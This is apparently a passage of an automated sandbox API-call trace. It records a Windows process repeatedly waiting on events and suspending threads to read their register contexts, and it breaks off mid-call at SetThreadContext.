(Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0134.444] SetEvent (hEvent=0xbc) returned 1 [0134.444] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0134.573] SetEvent (hEvent=0xbc) returned 1 [0134.573] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0134.762] SetEvent (hEvent=0xbc) returned 1 [0134.762] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0134.885] SetEvent (hEvent=0xbc) returned 1 [0134.885] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0135.063] SetEvent (hEvent=0xbc) returned 1 [0135.063] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0135.191] SetEvent (hEvent=0xbc) returned 1 [0135.191] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0135.357] SetEvent (hEvent=0xbc) returned 1 [0135.358] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0135.496] SetEvent (hEvent=0xbc) returned 1 [0135.496] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0135.669] SetEvent (hEvent=0xbc) returned 1 [0135.669] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0135.818] SetEvent (hEvent=0xbc) returned 1 [0135.818] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0136.029] SetEvent (hEvent=0xbc) returned 1 [0136.029] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0136.175] SetEvent (hEvent=0xbc) returned 1 [0136.175] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0136.327] SetEvent (hEvent=0xbc) returned 1 [0136.327] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0136.440] SetEvent (hEvent=0xbc) returned 1 [0136.440] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0136.606] SetEvent (hEvent=0xbc) returned 1 [0136.606] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0136.732] SetEvent (hEvent=0xbc) returned 1 [0136.732] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0136.861] SetEvent (hEvent=0xbc) returned 1 [0136.861] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0137.000] SetEvent (hEvent=0xbc) returned 1 [0137.000] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0137.105] SetEvent (hEvent=0xbc) returned 1 [0137.106] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0137.209] SetEvent (hEvent=0xbc) returned 1 [0137.209] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0137.313] SetEvent (hEvent=0xbc) returned 1 [0137.313] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0137.420] SetEvent (hEvent=0xbc) returned 1 [0137.420] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0137.529] SetEvent (hEvent=0xbc) returned 1 [0137.529] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0137.638] SetEvent (hEvent=0xbc) returned 1 [0137.638] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0137.753] SetEvent (hEvent=0xbc) returned 1 [0137.753] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0137.878] SetEvent (hEvent=0xbc) returned 1 [0137.879] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0138.134] SetEvent (hEvent=0xbc) returned 1 [0138.134] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0138.243] SetEvent (hEvent=0xbc) returned 1 [0138.244] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0138.353] SetEvent (hEvent=0xbc) returned 1 [0138.353] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0138.467] SetEvent (hEvent=0xbc) returned 1 [0138.467] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0138.574] SetEvent (hEvent=0xbc) returned 1 [0138.574] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0138.678] SetEvent (hEvent=0xbc) returned 1 [0138.679] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0138.784] SetEvent (hEvent=0xbc) returned 1 [0138.784] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0138.939] SetEvent (hEvent=0xbc) returned 1 [0138.939] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0139.269] SetEvent (hEvent=0xbc) returned 1 [0139.270] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0139.375] SetEvent (hEvent=0xbc) returned 1 [0139.375] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0139.486] SetEvent (hEvent=0xbc) returned 1 [0139.486] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0139.736] SetEvent (hEvent=0xbc) returned 1 [0139.737] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0139.844] SetEvent (hEvent=0xbc) returned 1 [0139.844] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0139.985] SetEvent (hEvent=0xbc) returned 1 [0139.985] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0140.138] SetEvent (hEvent=0xbc) returned 1 [0140.138] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0140.266] SetEvent (hEvent=0xbc) returned 1 [0140.266] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0140.370] SetEvent (hEvent=0xbc) returned 1 [0140.370] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0140.482] SetEvent (hEvent=0xbc) returned 1 [0140.482] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0140.590] SetEvent (hEvent=0xbc) returned 1 [0140.590] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0140.695] SetEvent (hEvent=0xbc) returned 1 [0140.695] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0140.800] SetEvent (hEvent=0xbc) returned 1 [0140.800] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0140.939] SetEvent (hEvent=0xbc) returned 1 [0140.939] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0141.054] SetEvent (hEvent=0xbc) returned 1 [0141.054] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0141.195] SetEvent (hEvent=0xbc) returned 1 [0141.195] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0141.652] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x144) returned 1 [0141.652] SuspendThread (hThread=0x144) returned 0x0 [0141.652] GetThreadContext (in: hThread=0x144, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fa48, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f70f7a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0141.684] ResumeThread (hThread=0x144) returned 0x1 [0141.684] CloseHandle (hObject=0x144) returned 1 [0141.705] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0141.810] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0141.919] SetEvent (hEvent=0xbc) returned 1 [0141.919] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0142.034] SetEvent (hEvent=0xbc) returned 1 [0142.035] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0142.160] SetEvent (hEvent=0xbc) returned 1 [0142.160] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0142.386] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x148) returned 1 [0142.386] SuspendThread (hThread=0x148) returned 0x0 [0142.387] GetThreadContext (in: hThread=0x148, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x286, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x28fbe8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x778d177a, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0142.478] ResumeThread (hThread=0x148) returned 0x1 [0142.478] CloseHandle (hObject=0x148) returned 1 [0142.478] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0142.591] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0142.743] SetEvent (hEvent=0xbc) returned 1 [0142.743] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0142.853] SetEvent (hEvent=0xbc) returned 1 [0142.853] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0142.957] SetEvent (hEvent=0xbc) returned 1 [0142.957] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0143.070] SetEvent (hEvent=0xbc) returned 1 [0143.070] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0143.182] SetEvent (hEvent=0xbc) returned 1 [0143.183] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0143.299] SetEvent (hEvent=0xbc) returned 1 [0143.299] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0143.407] SetEvent (hEvent=0xbc) returned 1 [0143.407] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0143.512] SetEvent (hEvent=0xbc) returned 1 [0143.512] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0143.634] SetEvent (hEvent=0xbc) returned 1 [0143.634] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0143.808] SetEvent (hEvent=0xbc) returned 1 [0143.809] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0143.960] SetEvent (hEvent=0xbc) returned 1 [0143.960] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0144.082] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x144) returned 1 [0144.082] SuspendThread (hThread=0x144) returned 0x0 [0144.083] GetThreadContext (in: hThread=0x144, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f958, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f8128e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0144.132] SetThreadContext (hThread=0x144, 